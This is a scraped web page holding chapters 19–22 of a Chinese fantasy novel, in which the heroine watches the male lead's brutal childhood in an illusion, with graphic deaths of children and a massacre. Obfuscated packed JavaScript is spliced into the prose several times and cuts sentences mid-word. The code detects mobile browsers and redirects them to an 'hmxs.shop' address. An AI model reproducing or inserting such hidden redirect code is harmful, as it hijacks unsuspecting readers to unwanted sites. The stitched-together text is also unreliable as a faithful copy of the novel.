d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576624|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这一切,脸上的表情几乎可以算得上是淡漠。 少年咳嗽了两声,声音因为极力忍耐而有些嘶哑,他自言自语道:“这样胳膊应该能保住了吧。” 顿了顿,又嗤笑一声:“算了,反正也没人在意。” 他说完这句话,颤巍巍的抬手拿起一块白布草草的裹住了自己的手臂。 周春和隐约猜到了什么,沉默片刻,忽然伸出手拉起来谢斯年的胳膊。她不由分说的掀开谢斯年的衣袖,出乎她的意料,除了一道长长的疤痕之外,还有好几道黑色的伤痕。 周春和瞪大了眼睛,谢斯年却已经飞快的抽出了自己的胳膊:“干什么?” 周春和愣了两秒才找回自己的声音:“你……手上的伤是怎么来的?这些黑色的……” 谢斯年别开视线:“不小心碰的。” 周春和沉默了。 这个人不仅命硬,而且嘴也一样很硬。 不过这些情节原小说里并没有描写,更别提谢斯年手上的伤时怎么来的了。也不知道现在这些东西是不是为了完善人物设定从原小说里延申出来的。 如果是这样的话,那除了那些大概的经历,谢斯年的过往对周春和来说其实算是一张白纸。 周围的场景飞速变化,很快两人又身处另一个完全陌生的场景之中。 这个场景比刚刚更加热闹,却不是在人烟阜盛的街道上。 周春和环顾四周,发现自己站在了类似古罗马斗兽场的地方。 “斗兽场”里面人声鼎沸,周围是比地面高出几米圆形的看台,看台围着一望无际的空地,看台上有十几个人,显得有些空旷。但是地面却聚集了三十多个惊慌失措的小孩子。有的小孩子甚至才知七八岁,第一次来到这种地方,连哭都忘记了,瞪大眼睛懵懂的看着周围。 在好几个嚎啕大哭的孩子中,周春和几乎是一眼看见了刚刚亲手剜掉自己手上腐肉的那个少年。 少年看着比刚刚年纪小了一些,应该就只有十二三岁左右。身上有种超乎年龄的冷静,看起来比周围的那些吵嚷的半大孩子成熟很多。 他既不哭也没闹,只是警惕的留意着四周的动静。 周春和和他一起注意四周的动静,很快就看见看台上下来几个人,将这些孩子们赶到“斗兽场”中央的位置。 然后这几个人再次返回看台,只留下了那三十几个孩子在地面。 等所有人都在看台上坐好之后,一圈铁栏杆围着看台缓缓升了起来,将看台和地面分隔开来,像是在提防地面上的某些东西似的。 不知为何,周春和看见这副架势,心里隐隐生起一种不祥的预感。 她不自觉的扯上了谢斯年的袖子,目不转睛的看着即将要发生的事情,生怕漏掉什么细节。 就听见一阵链条转动时发出的沉闷声音从地底响起,伴随着细微的震颤,“斗兽场”东南西北四个角各升上来。 看清笼子里面的东西之后,周春和的脑袋“轰”的一声,整个人愣在原地。 19. 白庄 笼子里面赫然是几只体型庞大的噬魂兽。 噬魂兽乃是有名的凶兽,靠吸食人的魂魄为生,若是被它咬住脖颈,不出三秒就会毙命。 此刻这四只噬魂兽都流着口水,从嘴角拉成长长的细线,在地上汇聚成一滩晶莹的液体。一双眼睛闪着绿幽幽的光,显然是被饿了很久。 这四只模样怪异的凶兽立刻引起一阵骚动,那些孩子被吓得瑟瑟发抖,全都下意识的缩在了一团。孩子们的哭声和叫喊声混在一起,引的那些噬魂兽更加垂涎三尺。 那少年在看见噬魂兽的时候同样脸色苍白,不过他还能竭力保持镇定。少年警惕的盯着那四只笼子,双手不知何时紧握成拳。 周春和回忆了一下小说里对谢斯年人生轨迹的大致描写,对上这幻境少年的年龄,她隐约能猜出来这个时候应该是谢斯年还被当成“实验品”的那段时间。 那也就是说,这个“斗兽场”很可能是对这些实验品的一场小小考核,类似于一种模拟考,通过了的就继续学习,没有通过的就被刷下去。 只不过这个模拟考有些残酷,周春和看着那四只噬魂兽,知道若是不通过这场考试所要付出的代价就是自己的生命。 怪不得很多小孩要自杀,呆在这种环境之下,既要承受爆体而亡的风险,还要忍受妖力融合带来的痛苦,现在又得被迫接受这种惨无人道的“考核”……周春和带入自己想象了一下那个场景,只觉得人生一片昏暗,甚至死亡都成了一种极好的归宿。 不过现在谢斯年还站在这里,那也就说明谢斯年当初是从这场试炼中活了下来。 想到这一点,周春和稍微松了口气。 这应该算是一点小小的安慰吧。 虽然周春和能预感到接下来发生的事情一定不会令人觉得愉快,但周春和却不能选择跳过,只能被迫看完接下来发生的一切。 笼子完全升上来之后,不知哪里响起了钟声,紧接着一阵锁链断裂的咔擦声音响起,那四个笼子被同时打开了。 垂涎欲滴的噬魂兽各个摩拳擦掌,绿幽幽的眼睛紧紧盯着那群孩子,利爪有一下没一下的在地面摩擦。 笼门完全打开,与此同时,噬魂兽如同离弦的箭般一下子冲了出来。 孩子们惊叫着一下子四散开来,可他们哪里能跑过这些噬魂兽,很快就有几个倒地的小孩被噬魂兽咬断了脖颈。 偌大的荒原洒上了斑斑血迹,孩子几乎是眨眼间的工夫就变得越来越少,好几道哭喊声戛然而止,听的让人不寒而栗。 少年借着地势灵活躲闪,好在只是受了些皮外伤。 不过他当然也撑不住太久,很快就有一只噬魂兽注意到了他,流着口水朝他飞扑二来。 少年手中没有任何武器,噬魂兽扑过来时,一个打滚从下方躲开了噬魂兽的攻击,同时顺手捡起地上的一块大石头,站直身体之后将石头狠狠砸向噬魂兽的眼睛。 这点攻击对噬魂兽来说不痛不痒,伤不到它分毫。可噬魂兽显然是第一次遇到敢于反抗的,把少年的攻击当成了挑衅。于是勃然大怒,朝少年发出一声响彻云霄的咆哮。 这声音把离它最近的小孩的耳朵都震出了血。 那孩子痛苦的捂着耳朵跌倒在地,下一秒便被这是朝谢斯年跑过去的噬魂兽一脚踩在了脚下。 噬魂兽体型巨大,七八岁的小孩只有噬魂兽一条腿那么大,噬魂兽一脚踩下去,那小孩当即毙命。 不过噬魂兽甚至连停都没停,怒气冲冲朝少年跑了过去。 少年想故技重施侧身躲开噬魂兽的攻击,可是没想到没留意一侧的小土坑,一脚踩进去之后,半边身子一歪,倒在了地上。 这时候他再想爬起来躲开已经来不及了,万般慌乱之下,少年的手心凝聚起一团黑气。 他正要抬手,没想到电光石火之间一股大力扯着少年离开了原地。那噬魂兽挨着少年的后背闪了过去,少年的后背立刻被撕下来一块血肉,登时鲜血淋漓。 少年转头一看,原来是一个比他高出半个头的孩子。 周春和正猜测这孩子是不是就是那个小说中描写的自杀在少年面前的人时,另一只噬魂兽瞅准时机从那孩子背后冲了过来。 那一瞬间发生的事情实在是太快了,大家根本没有任何反应的时间,噬魂兽破空而来,一脚踏在那孩子的腰上。 鲜血溅了一地,大半落在了被那孩子护在身后的少年脸上。 如果这孩子没有多此一举救下少年的话,以他的身手是很有可能躲开这一击的,可是那孩子分出一半的注意力在少年身上,另一半的注意力在刚刚躲过去的那只噬魂兽身上,根本没有留意身后。 那孩子腰部一下陷入地里,还没等少年反应过来,下一刻那噬魂兽踩住孩子的脑袋狠狠的摩擦。等噬魂兽抬起脚,那孩子只剩下断肢和一滩模糊的血肉。 这时候,刚刚那只扑到少年身后的噬魂兽也已经掉转过头,两只噬魂兽呈一前一后包围之状,那少年来不及去看那那孩子,自己先陷入了绝境之中。 噬魂兽以一种势在必得的模样缓缓靠近少年,少年像是还在怔愣中不曾反应过来,他盯着地上那摊早已经看不清是什么部位的血肉,脑子里最后一个画面是刚刚那孩子大叫着让他赶紧离开。 猎杀还在继续,其他两只噬魂兽几乎杀光了大部分孩子,只留下几个,噬魂兽像猫戏老鼠似的不紧不慢的追逐些剩余的孩子,却不着急立刻杀掉他们,还是饶有兴致的看着他惊慌失措的四处溃散。 血迹蔓延的到处都是,看台上不是爆发出喝彩和漫不经心的大笑。他们权当这是一场有些珍贵的热闹,都以看乐子的模样看着这一切。 哭喊声和开怀大笑形成强烈的反差,两种声音混在少年耳朵里,他的脸上没有任何表情,可是眼底却酝酿着不为人知的风暴。 周春和看少年这副模样,心里不禁咯噔一下。 她很熟悉少年周身散发出来的这种气质,之前在蓉城时,谢斯年对上那木偶人想要使用妖力时,身上散发出来的也是这种感觉。 她咽了口唾沫,后知后觉的忽然意识到一个更大的问题——这幻境就是谢斯年的过往这件事两个人看到现在都已经心知肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576625|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,而看谢斯年的表情,显然这些细节和他的经历全都吻合的一丝不差。虽说现在还没看到少年被灌注妖力的那一部分,但若是一会少年使用了妖力,而又被两个人看到,那离开幻境之后,周春和又该如何自处? 因为周春和看过小说,所以知道谢斯年有妖力这件事,、很多时候她都会下意识的觉得大家都知道了,但其实现在仔细想想,这件事除了她和谢斯年之外,主角团没有第三个人知情。她并不是“土生土长”的小说人,以一个饱览各自仙侠小说的现代人视角来看,这件事对她来说并不是稀奇的事情,可是以其他那些人的角度来看,这件事却是件难以接受的大事。 在这个劳什子幻境里面知晓了谢斯年有妖力这件事,那接下来又该怎么办?谢斯年必定会维护这个秘密,可现在周春和偶然知情,他会怎么做? 死人才能最好的保守秘密,设身处地的想一下,假如周春和处在谢斯年的位置,她都要犹豫一番,更何况是谢斯年这种阴冷无情为达目的不择手段的人? 想到这里,周春和咽了口唾沫,几乎都想把自己眼睛抠出来不继续往下看了。 她在脑子里死命呼唤系统,可那系统像是死机了一样一点回应也没有。 这死系统,一到关键时刻就掉链子。 周春和欲哭无泪,心里对系统那些会保护他的话的怀疑又提升了好几个度。 不过不管周春和再怎么绞尽脑汁的想避免这一切,该发生的还是要发生。 那少年已经缓缓地站了起来,他脸上没有任何表情,一双眼睛阴翳无比。 这时候的少年就已经扎起了高马尾,身上是和谢斯年如出一辙的黑色衣服。 周春和便瑟瑟发抖便还忍不住分了下神——原来谢斯年这身打扮从这么小就定型了啊。 不过也不知道为什么谢斯年这么偏爱深色衣服,不管是刚刚还是现在,少年都穿着一声黑色衣服。虽然这样也好看,但一直看周春和都要觉得视觉疲劳了。要是换一换指不定得有多好看呢。真是可惜了那张脸。 这么稍稍一出神,再集中注意力看向少年时,周春和就忍不住大吃一惊。 少年不知何时周身笼罩看一层黑气,眼尾猩红,眉宇间的戾气溢出表面。原本漆黑的眸子泛出一种不正常的红,像是一个人形的怪物。 少年的眼神几乎和噬魂兽无异,甚至比它们更加狠戾。那两只噬魂兽被少年身上的天翻地覆的变化震慑住了,不过依然没把他放在眼里,停顿一瞬之后,继续朝他缓缓走去。 少年手心聚集起一团黑气,他已经控制不住自己的情绪了,整个人处在正常和癫狂的临界状态。 前面的噬魂兽朝前狠狠一扑,少年却没像之前那样躲开,就在噬魂兽以为自己势在必得时,却透过少年身上散发出来的氤氲黑气中看见了那少年露出一个嗜血般的笑容。 噬魂兽脚步下意识的一顿,但惯性太大,想停下已经来不及了,直直的朝少年撞了过去。 就见少年抬起手掌,周身环绕着的黑气像是收到了什么指令一般,一缕缕像箭矢一般朝噬魂兽射去。 20. 白庄 妖气像是滔天巨浪,以谢斯年为中心,向噬魂兽铺散开去。 噬魂兽感受到了熟悉的妖气,但并没有当作一回事,也没有将谢斯年散出来的妖力放在眼里,直到那股力量如同实质,在它们身上刮去层层皮肉。 噬魂兽外面那层鳞甲坚硬无比,最是能抵挡伤害,可是少年这一下竟然直接将噬魂兽外面那层整片掀开! 噬魂兽发出一声痛极的长啸,不仅台下的人受到了叫声的影响,就连台上的人都面露痛苦。 唯有那少年岿然不动,脸上是深入骨髓的暴戾和杀戮。 噬魂兽一下子疼的跪倒在地,但少年不给它们丝毫喘息的机会,他朝天伸出手臂,向下狠狠一压,暴戾的妖气以一种蛮横的强势态度横冲直撞,一下将附近的噬魂兽扫出好几米远。 离得最近的那只噬魂兽连站都站不起来,倒在地上挣扎不已,伴随着阵阵哀嚎声,浑身血肉模糊,看起来惨烈无比。 妖力裹挟的少年升到了半空,他已经完全控制不住自己的杀戮之心,一双眸子彻底变成了红色,只觉得周围所有的声音都离他远去,脑海里唯一残存的印象就是那孩子最后看向他时,那双哀伤的眼睛。 他听不见任何声音,周围所有的颜色全部消失了,他的右手灌注暴烈的妖气,往地下狠狠一掼。 地面被砸出一个大坑,巨大的妖力涌了出去。铺天盖地般的压在了那些噬魂兽身上。噬魂兽承受不住这么强大的妖力,全都抽搐不已,几乎当即毙命。 这少年以一己之力同时杀掉了四只摄魂兽,这件事不论是怎么看都是叫人难以置信的事情。 不过少年并没有到此为止,他的视线扫过了看台上的那一张纸脸。 这时候,看台上的那些人早已不再是一开始的游刃有余和兴致勃勃,每个人的脸上都挂上了惊慌失措的表情,那眼神和场上那些小孩见到噬魂兽的眼神如出一辙。 外围的几个已经手忙脚乱的往外爬,可是门极小,一次只能容纳一个人通过,那几个人争相离开,谁也不让谁,一时间竟然在门边打作一团,竟是一个人也没走脱。 那少年已经缓步来到了看台下面,他稍一抬手,前面的栏杆便立刻灰飞烟灭,他抬起脚尖,一步一步走向那些人。 停在那些因为争夺小门的的人面前,谢斯年居高临下的看着他们。 这里面由很多熟悉的面孔,除了经常责罚打骂他们的管事之外,还有一些颐指气使的头目和管家,还有就是以看草芥之人自相残杀为乐的那些权贵。 此刻这些人再也不见平时趾高气扬的模样,一个个鼻涕眼泪横流,跪在地上扒着少年的脚求他放过。 少年嫌脏似的踢开了扒他脚的手,他此刻已经什么都听不进去了,妖力侵蚀了他的神智,此刻他更像是一个没有任何理智的怪物。 他一步步踏过去,居高临下的看着那些因为恐惧而扭曲的脸,一抬脚,狠狠踩在了管事的那张胖脸上。 管事的吓得连一句完整的话都说不出来:“求求你……我求求你放过我……之后我立马滚得远远的……我——啊!” 求饶的话戛然而止,少年猩红的眸子没有一丝感情,妖力灌入右腿,用脚踩断了管事的脖子。 血溅到三尺高,大半落在了少年身上,但因为少年的衣服时黑色的,所以也看不出来。 其他人吓得连话都说不出来,一个个鹌鹑似的抱团缩在一起,惊恐的看着少年的,但少年丝毫没有手软。 他手起刀落,一个接一个的还温热的尸体在他面前倒下,直到杀尽所有人才停手。而他脸上丝从始至终都没有任何表情。 周春和在一边看的心惊胆战。 场景很快再次变化,周围的一切都在倒塌重建。在由混乱无序到重新排列的这段时间里,两个人相顾无言。 周春和心里经历了大起和大落。从谢斯年过往摘出来的这两件事情让周春和更加清晰的了解了谢斯年曾经过的是怎样的生活。 虽说之前她也了解一二,但知道和亲眼所见所带来的震撼并不能相提并论,所以周春和心里情绪翻涌,感觉胸口闷闷的,有很多话想说,但都堵在喉咙里说不出来。 她在一边小心翼翼的觑着谢斯年的脸色,但谢斯年那双墨色的眸子里一点没有任何情绪。 周春和率先打破沉默:“你……” 只起了个头便又顿住了,周春和实在是不知道该怎么说这件事。 ——更不知道该怎么开口提他身有妖力这件事。 于是再次沉默。 又过了一会儿,周春和才抹了把脸,又开口道:“你那时……疼么?” 没头没脑的一句,谢斯年没有回答。 周春和沉默两秒,又语气轻松的说起另外的事情:“你那时候也喜欢穿这种深色衣服么?看起来你从小到大的打扮都没什么变化呢。” 这次谢斯年终于开了口,声音很平淡:“小时候没那么衣服可以换,黑色衣服耐脏,即便是沾染上什么东西也不会被人看出来。” 这下轮到周春和说不出话了。 她想起了刚刚血溅到少年身上时的场景。 黑色的衣服即使是被染上血什么东西也看不出来,甚至就连血迹也能很好的隐藏。 所以谢斯年从小到大沾染在衣服上的血迹到底有多少,恐怕是周春和想也想不到。 外人看到的只是他如平常的黑衣黑发,可隐藏在黑衣之中的那些污痕若是不洗是谁也不知道的。 两个人似乎已经到了无话可说的境地,幸好这时候周围的场景已经再次变幻完成。 这次的场景又往前推了几年,这时候的少年看着只有八九岁,脸上稚气未脱,若不是在这种环境之下,理应是一个粉雕玉琢的奶团子。可现在少年却显出一种超乎寻常的冷静和成熟,显然是经历的事情太多,已经将他性格中天生的天真和稚嫩磨灭。 不过这次的场景看起来十分平和,不似前两次那么血腥。 是两个年纪相仿的小男孩坐在房间里面,一个是之前那个少年,另一个是同样没有脸,但看一些小习惯和身形是之前从未出现过的小孩。 小男孩躺在了床上,额头上覆盖着毛巾,似乎有些发烧,不过不严重,只不过脸蛋比平时显得更加红润。少年正忙前忙后帮他换毛巾倒水。 那小男孩看着少年,眸中有叹息:“你不必为我做这么多……” 少年手上的动作没停,嘴里道:“之前你替我向管事的掩饰我偷偷离开的事,又给了我一瓶擦伤药……我没什么能给你的,只有这条命能算作报答了,做这些不算什么。” 那小男孩沉默两秒,有些难过的别开了头:“你不该在这里,不该在这种地方。” 少年很轻的说:“我们都不该在这种地方。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576626|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两个人都不再说话了。 沉默很久,只有洗毛巾时的淅沥水声不断响起。 时间一转,来到了晚上,床上那男孩看起来病情似乎加重了很多,整张脸有种不自然的红,时不时的还会伴随着一阵抽搐。少年守在他身边,有些手足无措。 又换了几条毛巾,男孩还是没有任何变好的趋势,少年咬了咬牙,忽然转身离开了。 周春和跟着他一路跑出去,却发现少年的目的地竟然是管事儿的房间。 管事的这张胖脸周春和还有些印象,刚刚第一个死在少年脚下的就是他。 此刻管事的还不是刚刚那种狼狈的状态,一脸烦躁的打开房门,见来的人是少年,更加烦躁不堪:“你这杂种忽然过来做什么?又闯什么祸了?” 少年的声音带着一丝不易察觉的颤抖:“请问您能帮我去抓点药吗?小六哥生病了,若是再不去抓药,他很有可能撑不过今晚……” 为了让那管家重视,少年故意把话说的很重。 可谁知道那管家只是趾高气扬的一笑,一巴掌扇在少年脸上:“呸!我当是什么事呢,狗娘养的,这种屁大的事也敢来吵我睡觉。死就死了,那是他活该,还拿药,真当自己多么金贵呢……” 他骂骂咧咧的摔上门,但是很快又打开了,少年以为有希望,周围都有一种欣喜的情绪,可谁知那管家又像是气不过似的对着少年一顿拳打脚踢,直把少年打的直不起腰来才罢休。 关上门时,嘴里还说着不干不净的话。 少年缓了好一会儿,觉得身体好受些了,这才艰难的站起身离开。 那孩子不能离人,少年也不敢离开太久。 这一夜少年都不曾合眼,一直在床边忙前忙后,空闲下来时,便对着窗户祈求神灵相助。 少年的脸上还带着淤青和伤口,周春和离得近,听见少年无意识的呢喃。 少年喃喃的说,他从小就是个没人要的野孩子,这一生注定要过这种日子,吃很多苦。可是小六哥不一样,他原本是普通人家的孩子,只是半路被拐来的,在进来之前他也是被父母捧在手心里小心呵护,不该忍受这种生活。 他这一生中,不曾有人给过他什么温暖,只有小六。 虽然小六所给予的,也不过是一瓶普通的药膏。但他也没什么可以偿还的。 在他的认知里面,小六的命比他的重要,所以他可以为了小六献出自己的生命。 周春和听着这孩子气般的话,胸口像是被石头压住了一般难受。 他说自己的生命这样轻,这样的不值一提,可却愿意为了一个仅仅是给予他关怀的人献出自己的生命。 周春和感觉心口有种尖锐的疼,反倒是一边的谢斯年,似乎终于调整过来,一改刚刚低沉的气场,说的话也很像是之前那般无拘无束,只不过没人知道是真的还是装出来的:“这到底是我的过往还是你的?怎么,被我的大公无私感动到了?别看了,这其实没什么,我之前受过的伤不计其数,这点伤……” “你不该经历这些的,谢斯年。你原本应该有个愉快的童年。这些事不应该被当作玩笑话说出来,即使已经过去了这么久。” 周春和的话很低沉,和平常一向欢快跳脱的声音截然相反,谢斯年似乎所感,抬头对上了她的的眼睛。 谢斯年忽然发现周春和的眼眶里面有泪。 21. 白庄 两个人陷入了长久的沉默之中。 谢斯年一向善于应对各种各样的恶意,却对别人真诚的善意手足无措。 他从未和任何人说过自己的那段过往,就连周夏莲也不知道,大概是因为他不想让别人可怜他……虽然他确实可怜,可别人的怜悯对他来说没有任何用处,有些事情发生了就是发生,不管再做什么都已经于事无补。 就像是那些伤害已经存在,事情已经走向了今天这副模样,他早已经无所畏惧。 可是女孩的眼泪落在他的手背时,谢斯年却像是被烫到一般缩了回去。 他看向周春和,女孩已经飞速擦干了眼泪。再看时,神色已经如常。 可是那滴泪却像是一道疤痕,永远的、深深的刻在了谢斯年的手背上。 同时也刻在了他的心上。 两个人之间只剩下沉默在蔓延,不过幻境里面的事情还在继续。 这一晚虽说让人焦躁,但那小孩好歹挺了过去。 第二天一早,他稍稍平静了一些,也不再抽搐了,脸色看着几乎已经恢复正常。 恰好这一日是他们的“休息日”,每次经过半个月的强行灌输妖力之后,都会给他们一日休息的时间。 昨天那小六发烧,就是因为强行灌注的妖力太多,超出了身体的承受能力,这才导致了高热。 上午小六有了点胃口,吃了碗少年打来的稀粥之后好了很多。到了中午就已经能下床走动了。 两个人结伴而行,约着一起去了附近的一个小林子里。 这林子不大,鸟雀啼叫声婉转清脆,遮住了大片阳光。 除了他们二人之外,还有其他小孩子也分散在林子四处或坐或立,叽叽喳喳的在做游戏。 这地方总共就这么大,大家能玩的地方很少,所以基本上都聚在一个地方,能遇上熟人是再正常不过的事情。 其中有五六个小孩围在一起,声音格外兴奋。 少年和小六路过时瞥了一眼,看见了坐在中央的那个孩子手里把玩的竹鸢。 竹鸢是一种小孩子家爱玩的玩意儿,用竹片做成,模样像是一只鸟,两侧有小翅膀,像是风筝的缩小版,不过不用线就可以飞起来,只是飞的不高。类似于周春和从前折的纸飞机,两只翅膀可以上下扇动。 两个人往里走了段距离,然后便靠在一棵粗壮的树上坐了下来。 两个人随手薅一把狗尾巴草编小兔子玩,可少年还是时不时看向刚刚那个孩子手里的竹鸢。 这附近就有竹,那孩子大概就是折的这附近的竹子做的。 这玩意十分常见,很多小孩子都会做,而且也简单,看一遍怎么做的就差不多懂了。只不过从来没有人给那少年做过,所以少年从来没有玩过这东西。 少年频频回头看了一会儿,虽然看不出表情,但周春和能感觉到他其实是很艳羡的。 没一会儿,少年便起身来到了那几根胡乱生长的竹子旁边,用随身带的一块铁片将竹子拦腰割断。 他拖着竹子来到小六身边,耐心的将竹子一点点切成竹片。 等全部完工之后,他按照记忆里竹鸢的模样用竹片一点点扎起来,只不过他毕竟没见过竹鸢到底是怎么做的,所以即使做出来外形,也只不过是看着相像而已。 做成之后,少年试飞了一下,这个外形看着和普通纸鸢一模一样的东西果不其然飞不起来。 少年毕竟从未做过这些东西,他见寻常孩子有,自己便也想做,可又不愿意让人觉得他连这个也不会。刚刚草草看了一眼,能逞强做出大差不差的已经算是很不错了,哪里可能连内部结构也做的一模一样。 少年拿着竹鸢看了一会儿,最后又弃之如敝屣。 拙劣的东西外表看上去再怎么好也始终是个劣质品,浪费了这么久的时间也做不出来,还不如直接丢掉。 这时候,小六从袖子里拿出一个小巧的玩意儿,放在少年面前晃了晃:“阿年,你瞧这是什么?” 少年定睛一看,原本兴致缺缺的脸色立刻显得神采飞扬。 虽然没有表情,但周春和依然能感觉到少年人由内而外的欣喜。 小六手里拿着的正是一个刚做好的竹鸢。 原来在刚刚少年做竹鸢时,小六也不曾闲着,在一边做另一个竹鸢。只不过因为少年太过于投入,所以完全没有注意到一旁小六的动作。 少年接过竹鸢,赶紧试飞了一下。这竹鸢果真是飞的又远又好。直落到另一侧才停下。 少年欢快的跑过去捡竹鸢,长长的马尾在身后一荡一荡,说不尽的少年飞扬。 直到此刻,少年才终于露出一点独属于少年人的鲜活气。 小六坐在树下看着少年的背影,脸上露出一点模糊的笑,不过他想到了什么,那笑容又黯淡下去。 少年兴致勃勃的玩了好一会儿竹鸢,又跟着小六学会了真正的竹鸢到底怎么做,然后两个人便你来我往的玩起了竹鸢。 银铃般的笑声传遍了大街小巷,孩童无忧无虑的叫喊声和鸟雀的婉转啼叫相映成趣。 直至傍晚,两个人才相伴而行,迎着落日一同走向了回家的路。 看着两人携手同行的两道背影,周春和都忍不住连连感叹。 这应该算是这幻境里面为数不多的温馨画面了吧? 不过欢快的时光往往都转瞬即逝,只有磨难痛苦才占了大多数的时间。 更何况那少年是在这样一个背景下,所经历的苦难只会比别人更多。 下一个场景果然不再是这样难得温馨的时刻了。 周春和仔细辨认了一下,这似乎是在刚刚那个大院里。 院子里的小孩都被赶到了一个空地上,在所有人面前摆着一个水晶球一样的东西。 联想到上一次把所有小孩子聚在一起的场景,周春和眼皮重重一跳,直觉不会是什么好事。 不过这次看起来似乎不像上次那么血腥,毕竟这院子不算大,就是想放什么怪物也放不进来。 周春和把视线移到这院子里唯一一个不应该出现的东西上面,那水晶球流光盈盈,周围围绕着淡淡的蓝色,球身里面则是有红光流转。 水晶球摸约只有一个拳头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576627|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小,看起来似乎没什么危险。 不过想必那些人不会把一个毫无用处的东西放在这里,所以这东西一定有什么他们不了解的用处。 周春和耐心的等了一会儿,很快那管家就从后面房间里慢腾腾的走了出来。 他还在用指甲剔牙,嘴角粘着一粒米饭,显然是刚吃完饭出来。 那管家犹自整理了一下自己的嘴角,然后才一脸不耐烦的开了口:“流程大家都已经知道,一个个排队来吧。” 那几个小孩一听,一个个如丧考妣,甚至有几个年龄小的瑟瑟发抖,眼泪在眼眶打转。 为首的小孩在管事的拳打脚踢之下不得不走上前,他将颤抖着的手慢腾腾的放在水晶球上,那水晶球里面的红光感受到有人靠近,立刻变得汹涌无比,同时全都向小孩的方向汇聚。 在红光接触到小孩手掌的那一刹那,小孩发出一声惨烈的尖叫。紧接着男孩剧烈的抽搐起来,整个人状若被点击。 没一会,小孩的胳膊皮开肉绽,皮肤像是被烧焦了一般发黑,同时冒出阵阵浓烟。 小孩口出白沫,已经翻起了白眼,整个人像是已经没了意识。 其他孩子见状具是哭泣不已,吵嚷声听的那管事儿的心烦,狠狠抡起鞭子抽向前面哭着的那几个小孩。 小孩被抽的一个踉跄,死死的闭住嘴巴,不敢再发出一点声音。 在人群后方的那个少年紧紧攥着自己的拳头,若是有表情,现在估计已经对那管事恨得咬牙切齿。 摸球的小孩已经人事不省,被超出自己承受能力的这股妖力逼得七窍流血,失去了神智。 那管家不耐烦的掏掏耳朵,粗暴的将到底的小孩用脚踢开,同时大声吼道:“下一个是谁?别磨磨蹭蹭的,一群狗杂碎,快点!” 第二个小孩抽抽嗒嗒的靠近水晶球,十分不情愿的将手放了上去。 一连十几个小孩,就只有两三个顺利接收了妖力。 轮到那少年时,也被折磨了将近两刻钟,等把手顺利从水晶球上拿下来,嘴角已经流满鲜血。 他没什么特别的反应,草草的擦干血迹了事。 紧接着场景再次转换,少年和小六来到了睡觉的杂货间里,这时候两个人看样子刚刚接受完输送进他们体内的妖力。 少年的容纳能力显然异于常人,休息片刻便已经完全恢复如初。可那小六则依然面色苍白,看样子完全没有缓过来。 少年似乎正开心的和小六说着什么话,他犹自说的开心,没注意到小六强颜欢笑的苍白脸色。 片刻后,小六似乎支使他去做什么事情,等少年再回来,迎接他的却是将小刀插入自己胸口的小六。 那简单打磨成型的刀片周春和看着很熟悉,稍一回想,就知道是刚刚少年用来割竹子的那块铁片,没想到竟然被他打磨成了刀子。 周春和心里有了个大概,这段场景应该就是小说里描写的那段,谢斯年亲眼看见自己最好的朋友死在了自己面前的剧情。 周春和小心翼翼瞅着身边谢斯年的脸色,发现他拳头微微握紧,又很快松开。 22. 白庄 幻境到这里戛然而止,就在周春和以为下一个场景会讲述谢斯年更小时候的事情时,却没想到画风一转,周春和看到了已经十六岁的那个少年。 这时候的少年几乎和现在站在周春和身边的谢斯年没什么区别了,两个人不管是姿势和习惯都已经高度重合。看少年现在所处的地方,应该就是巫山谷。 看样子现在的剧情已经来到了少年进入巫山谷遇见周夏莲之后的事情。 周春和仔细看了看新出现的幻境,只觉得和之前似乎不大一样。 刚刚那一系列幻境显然是偏向于悲惨的故事,不管是经历的事情还是背景都十分灰暗,就连天气大部分时候都是灰蒙蒙的,让人觉得无比压抑。 可是现在不管是天色还是周围的景色都更加鲜艳有色彩……或许是故事主角的心境发生变化了吧,所以背景也一起发生了变化。周春和想到了刚刚那面具人说的灰色和粉色混合的颜色,心说刚刚那些是灰色的话,那接下来这些应该就是粉色了。 应该就是谢斯年生命中为数不多的快乐时光,也是他爱上女主周夏莲的时光。 周春和知道接下来不再是悲惨遭遇之后忍不住松了口气,她虽然是个乐天派,在别人看来乐观开朗,但是共情能力极强,听到悲惨的故事之后总是忍不住感同身受,心疼落泪。 